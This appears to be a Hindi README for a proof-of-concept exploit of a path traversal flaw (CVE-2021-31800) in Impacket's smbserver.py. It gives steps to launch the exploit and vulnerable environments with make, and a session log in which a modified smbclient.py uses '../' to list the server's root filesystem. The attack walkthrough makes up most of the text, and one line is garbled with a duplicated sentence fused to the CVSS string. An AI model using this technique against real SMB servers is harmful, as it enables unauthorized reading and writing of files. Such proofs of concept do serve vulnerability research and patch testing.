
smbserver.py में एक पथ ट्रैवर्सल दोष हमलावर को सर्वर पर मनमानी फ़ाइलें पढ़ने/लिखने की अनुमति देता है।
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:Hsmbserver.py में एक पाथ ट्रैवर्सल हमलावर को सर्वर पर मनमानी फ़ाइलें पढ़ने/लिखने की अनुमति देता है।
इस समस्या का विस्तृत विवरण: https://checkmarx.com/blog/cve-2021-31800-how-we-used-impacket-to-hack-itself/
./exploit_env/ के अंदर make टाइप करके एक्सप्लॉइट वातावरण शुरू करें। इसके बाद आप पाथ ट्रैवर्सल के माध्यम से फ़ाइलों की मनमानी रीड/राइट प्राप्त करने के लिए smbclient.py के संशोधित संस्करण का उपयोग कर सकते हैं।
इसके बाद आप फ़ाइल सिस्टम में घूमने और फ़ाइलों को पढ़ने/लिखने के लिए ../ का उपयोग कर सकते हैं! यहाँ एक उदाहरण है:
# smbclient.py 192.168.1.27
Impacket v0.9.23.dev1+20210422.174300.cb6d43a6 - Copyright 2020 SecureAuth Corporation
Type help for list of commands
# shares
IPC$
SYSVOL
# use SYSVOL
# ls
-rw-rw-rw- 10 Sun Jan 8 23:59:59 2023 test.txt
# ls ../
drw-rw-rw- 4096 Sun Jan 8 23:59:59 2023 sbin
drw-rw-rw- 360 Sun Jan 8 23:59:59 2023 dev
drw-rw-rw- 0 Sun Jan 8 23:59:59 2023 sys
drw-rw-rw- 4096 Sun Jan 8 23:59:59 2023 media
drw-rw-rw- 4096 Sun Jan 8 23:59:59 2023 srv
drw-rw-rw- 4096 Sun Jan 8 23:59:59 2023 opt
drw-rw-rw- 4096 Sun Jan 8 23:59:59 2023 tmp
drw-rw-rw- 4096 Sun Jan 8 23:59:59 2023 var
drw-rw-rw- 4096 Sun Jan 8 23:59:59 2023 lib
drw-rw-rw- 4096 Sun Jan 8 23:59:59 2023 bin
drw-rw-rw- 4096 Sun Jan 8 23:59:59 2023 root
drw-rw-rw- 4096 Sun Jan 8 23:59:59 2023 usr
drw-rw-rw- 4096 Sun Jan 8 23:59:59 2023 mnt
drw-rw-rw- 4096 Sun Jan 8 23:59:59 2023 run
drw-rw-rw- 4096 Sun Jan 8 23:59:59 2023 boot
drw-rw-rw- 4096 Sun Jan 8 23:59:59 2023 etc
drw-rw-rw- 0 Sun Jan 8 23:59:59 2023 proc
drw-rw-rw- 4096 Sun Jan 8 23:59:59 2023 lib64
drw-rw-rw- 4096 Sun Jan 8 23:59:59 2023 home
drw-rw-rw- 4096 Sun Jan 8 23:59:59 2023 share
-rw-rw-rw- 0 Sun Jan 8 23:59:59 2023 .dockerenv
-rw-rw-rw- 142 Sun Jan 8 23:59:59 2023 entrypoint.sh
#
प्रदर्शन के लिए, आप ./vulnerable_env/ के अंदर make टाइप करके कमजोर वातावरण शुरू कर सकते हैं।